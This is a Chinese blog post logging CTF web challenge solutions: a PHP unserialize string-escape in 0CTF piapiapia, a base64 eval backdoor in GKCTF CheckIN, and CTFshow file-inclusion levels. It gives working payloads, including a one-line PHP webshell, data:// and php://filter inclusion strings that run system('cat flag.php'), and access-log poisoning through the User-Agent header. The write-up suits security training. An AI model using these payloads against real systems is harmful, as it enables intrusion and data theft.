0129刷题记录

最新推荐文章于 2024-01-25 16:13:02 发布
最新推荐文章于 2024-01-25 16:13:02 发布
阅读量315 收藏 1
点赞数
分类专栏： 刷题记录
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yuermon/article/details/113402557
版权
本文详细介绍了两个Web安全问题的案例。第一个案例涉及一个登录页面，通过源码泄露和序列化漏洞，利用字符串逃逸技巧读取了配置文件中的flag。第二个案例展示了如何通过数据流封装器和文件包含漏洞读取flag.php的内容。文章讨论了如何通过构造特定的payload来绕过过滤机制，并提供了解题思路和参考资源。
摘要由CSDN通过智能技术生成

[0CTF 2016]piapiapia

*序列化字符串
*信息泄露

0x01:打开场景

发现是一个登陆界面，没办法登录成功，也没有注册链接，那就现场时扫描一下吧
在这里插入图片描述
发现了有备份文件泄露，直接访问www.zip得到源码文件
在这里插入图片描述
class.php

<?php
require('config.php');
class user extends mysql{
	private $table = 'users';
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);
		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}
class mysql {
	private $link = null;
	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");
		return $this->link;
	}
	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');
		#对email的格式进行限制
		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		#对nickname的长度进行了限制，但是strlen函数可以用数组绕过
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
		
		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

0x02:代码审计

由于过于菜鸡 部分借鉴了师傅们的wp 还需继续学习

$_FILES — HTTP 文件上传变量

#config.php 有flag变量但是没有权限读取
$flag = '';

#update.php 有序列化函数
$file = $_FILES['photo'];
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' .md5($file['name']);
$user->update_profile($username,serialize($profile));

#profile.php  有反序列化和文件内容读取函数
#如果能够把$profile['photo']等于config.php这个文件名的话我们就可以读取到$flag变量了
$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

#所以逻辑顺序应该是update.php>>profile.php

#因为update.php中运用到了这个函数，所以要继续跟进一下
#parent 返回被选元素的直接父元素。
public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
#继续跟进filter方法
#这里出现了正则替换，因为$safe里面有where替换成hacker的时候长度发生变化，但是序列化的属性不会改变，就是可以利用的字符串逃逸
public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

因为被序列化的是profile，可以先写一个poc测试nickname

#前面已经分析过了，为了不让nickname收到长度限制，所以nickname要是一个数组
<?php
class profile{
	public $nickname=array("config.php");
}
$a=new profile();
echo serialize($a);
//O:7:"profile":1:{s:8:"nickname";a:1:{i:0;s:10:"config.php";}}
#由此可知数组序列化会多出一组{}，所以在构造payload的时候，要在替换的字符串后面先加上 `;}` 闭合前面的代表数组的 `{`

因为已知用where才能达到字符串逃逸的效果，所以要用到where，而逃逸的字符串则要使$profile['photo']=config.php

payload1:

nickname[]='where";}s:5:"photo";s:10:"config.php";}';

而后面要逃逸出来的字符串长度为34，所以要有34个where

payload2：

nickname[]='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';

之后抓包，该数据包，再上传就可以发现上传profile成功，
在这里插入图片描述

然后点击到界面，F12查看源码，发现photo有base64加密，解码之后得到flag
在这里插入图片描述
在这里插入图片描述
参考：

blacknight
H9_dawn

[GKCTF2020]CheckIN

*readflag

源码：

<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

0x01:代码审计

#x函数，返回请求方式
public function x()
        {
                return $_REQUEST;
        }
function __construct(){
    #参数名为Ginkgo
    $this->code = @$this->x()['Ginkgo'];
    #参数内容要先base64加密
    $this->decode = @base64_decode( $this->code );
    #执行代码
    @Eval($this->decode);
        }

0x02:解题

一般来说，phpinfo里面会有很多内容

那可以先访问一下phpinfo()界面
在这里插入图片描述

发现disabled_functions里面有很多函数，说明很多函数被限制了

常用的system,exec,shell_exec,

可以试着上传一句话木马

?Ginkgo=ZXZhbCgkX1BPU1RbJ2NtZCddKTs=
//eval($_POST['cmd']);

连接成功，发现flag，但是没办法读取

接下去就不会了

0x03:进一步解题

看了网上的wp

原来是readflag是可以运行的，要根据php版本，下载文件修改为执行readflag并上传到/tmp

exp:
在这里插入图片描述

然后根据一句话木马post传参，在hackbar进行代码执行
在这里插入图片描述

cmd=include('/tmp/exploit.php');
//得到flag

CTFSHWO-文件包含

php伪协议

文件包含漏洞

web78

*php://

源码：

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

0x01:

因为没有提醒，但是可以试着访问flag.php

发现存在这个文件

payload：

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到flag.php文件的base64加密内容，解码之后得到flag

web79

*data://

源码：

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

增加了一个字符串替换，直接把php换成了问号，那就不可以用php://协议了

自PHP>=5.2.0起，可以使用data://数据流封装器，以传递相应格式的数据。通常可以用来执行PHP代码。

执行php代码

payload：

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//<?php system('cat flag.php');

得到flag

web80

*包含日志文件

源码：

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

没有什么思路，看了网上的wp

包含日志文件，进行getshell

?file=/var/www/html/access.log

然后修改user-agent为php代码，进行执行php代码

在这里插入图片描述
在这里插入图片描述

得到flag

参考：

包含日志文件getshell

日志注入漏洞

Firebasky

web81

源码：

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了:

依然可以用日志文件注入漏洞

?file=/var/www/html/access.log

然后修改user-agent为php代码，进行执行php代码

web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

没有过滤:，但是要注意过滤了=

可以使用data://协议

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycgKSA7

在这里插入图片描述

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnICApICA7

在这里插入图片描述

GKCTF2020 web+misc
xlcvv的博客
05-25 1372
CheckIN(unsolved) 考点：代码审计，绕disable_functions 题目给了源码: <title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() {
ReadFlag:解决ctfs中的一些readflag情况
05-28
ReadFlag 现在某些 CTF 比赛越来越喜欢用一些/readflag程序去获取 flag ，然后需要在一定时间内计算一些数字，然而反弹的 shell 不能很好地处理这种问题，于是有了这个项目。 收集了一些应对这种形式的公开的脚本。如果你有什么优雅的解决方式也可以提交 pr :) 长期维护
0129leetcode刷题5道python
yeqing1997的博客
01-29 547
8 题目描述： 请你来实现一个 myAtoi(string s) 函数，使其能将字符串转换成一个 32 位有符号整数（类似 C/C++ 中的 atoi 函数）。 函数 myAtoi(string s) 的算法如下： 读入字符串并丢弃无用的前导空格 检查第一个字符（假设还未到字符末尾）为正还是负号，读取该字符（如果有）。 确定最终结果是负数还是正数。 如果两者都不存在，则假定结果为正。 读入下一个字符，直到到达下一个非数字字符或到达输入的结尾。字符串的其余部分将被忽略。 将前面步骤读入的这些数字转换为整数（即
测试一下
porex的专栏
01-08 322
测试一下~~~~~~~~~~~~~~~~
0129测试面试
qq_37304010的博客
01-29 196
自我介绍 1.接口自动化sessio.n怎么获取 2.app与web测试区别，专项测试有哪些 3.大概有多少用例 跑 了多长时间 4.python基础是什么 能做什么 5.登录用例设计，策略 6.页面空白怎么定位 7adb稳定性测试工具，具体命令 8selenium 接口字段是否存在，左右连接区别 9.SQL 字段去重 。group by 10.linux 定位关键字 错误日志 grep...
20191002测试
Young_Zn_Cu
10-30 230
20191002CSP-S测试 题目 稻草富翁 CF65A 题目来源【luogu】 坑点 除数不能为0！！！ （不然100分挂成70TAT） 因为题目没说必须整数份，即只要满足比例关系即可（防止数据太大溢出用 gcd处理） 手动模拟比例式即可 ~~（小学数学知识） ~~ #include <bits/stdc++.h> #define int long long using ...
【Bugku-web】read flag
weixin_73625393的博客
01-25 463
2.输入"ls -a /" 命令,看到flag文件，输入命令"cat /flag",获得flag值。
leetcode题库-leetcode:leetcode刷题记录
06-29
leetcode题库 leetcode算法题 本仓库主要用来保存leetcode算法题代码，主要使用Python/Java编写。 Python代码和Java代码命名风格不一样 用Maven管理依赖，一些用于测试和调试的第三方库依赖 使用IDEA编辑代码
C语言刷题记录（仅记录错题和好题）.zip
10-18
C语言刷题记录（仅记录错题和好题）.zipC语言刷题记录（仅记录错题和好题）.zipC语言刷题记录（仅记录错题和好题）.zipC语言刷题记录（仅记录错题和好题）.zipC语言刷题记录（仅记录错题和好题）.zip
基于Java的LazyCat力扣刷题记录源码分享
10-01
该项目是一个基于Java开发的LazyCat力扣刷题记录系统源码，包含1299个Java类文件、965个Markdown文档、636个Java源代码文件以及其他少量XML、JSON、LCV等配置和忽略文件，共计2917个文件。该系统旨在帮助用户记录和...
0131刷题记录
一只菜鸡
01-31 336
[网鼎杯]Fakebook ssrf 反序列化 0x01:尝试 打开场景，join之后并没有哪里有什么异样，而点入自己的页面的时候发现上面有个?no=1，猜测会不会存在sql注入，发现单引号报错 [*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''
C语言2022刷题记录代码.zip
10-23
C语言2022刷题记录代码.zipC语言2022刷题记录代码.zipC语言2022刷题记录代码.zipC语言2022刷题记录代码.zipC语言2022刷题记录代码.zipC语言2022刷题记录代码.zipC语言2022刷题记录代码.zip
GKCTF2020部分web
0xdawn的博客
05-28 1075
[GKCTF2020]CheckIN <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this-&
CTFHub Linux 动态加载
m0_62879498的博客
04-02 1993
CTFHub Linux 动态加载 观察页面，写着没有 x权限，说明我们没有办法执行根目录下的 elf 文件 readflag，所以我们无法利用下方的 webshell 获取flag（我们的权限不够） 我们发现无法访问到 flag Linux 下 x(eXecute,执行):对文件而言,具有执行文件的权限;对目录了来说该用户具有进入目录的权限 Linux 755权限 & 644权限： 在linux下，chomd也可以用数字表示权限 如 chomd 777 file 语法为： chomd x
记 GKCTF2020 WEB
fly夏天的博客
06-02 1384
比赛的时候一道题也没做出来，现在看着大佬的wp做一波复现。 1.CheckIn 很明显的一道代码审计题。通过传入base64编码的Ginkgo参数即可执行eval函数。 用蚁剑连接 构造Ginkgo=QGV2YWwoJF9QT1NUWzFdKTs%3d （@eval($_POST[1]); 的base64编码） 发现根目录下存在 flag但是无法打开（权限不足） 同时发现了readflag文件，打开发现是一个程序，包含了cat /flag之类的内容猜测是通过执行该文件来进行读...
0619刷题
qq_38374572的博客
06-20 70
0619刷题
基于Python实现的个人力扣刷题记录与源码分享平台
最新发布
10-03
该项目是一个基于Python的个人力扣刷题记录与源码分享平台，包含39个文件，包括24个Python源代码文件、7个Markdown文档、3个PNG图片文件、2个文本文件、1个Git忽略文件、1个开源许可证文件、1个CSV文件和1个Markdown...
[GKCTF2020] web题-CheckIN
BROTHERYY的博客
07-29 630
复现环境：buuoj.cn 代码提示有eval函数可以执行base64加密代码 成功回显了phpinfo信息 编辑一句话上传 eval($_POST[1]); 根目录上有flag和readflag，但都没法访问，应该是权限不够 bypass disable_functions 该漏洞可以执行命令执行 exp链接:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php 上传到有权限的目录/tmp ?Ginkg
命令执行绕过的练习(一)
qwzf
08-12 1797
0x00 前言 总结完命令执行漏洞的相关绕过知识，做一下CTF题巩固一下，并总结一下做题过程。 0x01 GKCTF-Check_In 题目源码： <title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct()
一天一道ctf 第54天（GET open任意执行漏洞）
scrawman的博客
08-16 414
[HITCON 2017]SSRFme <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $s
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值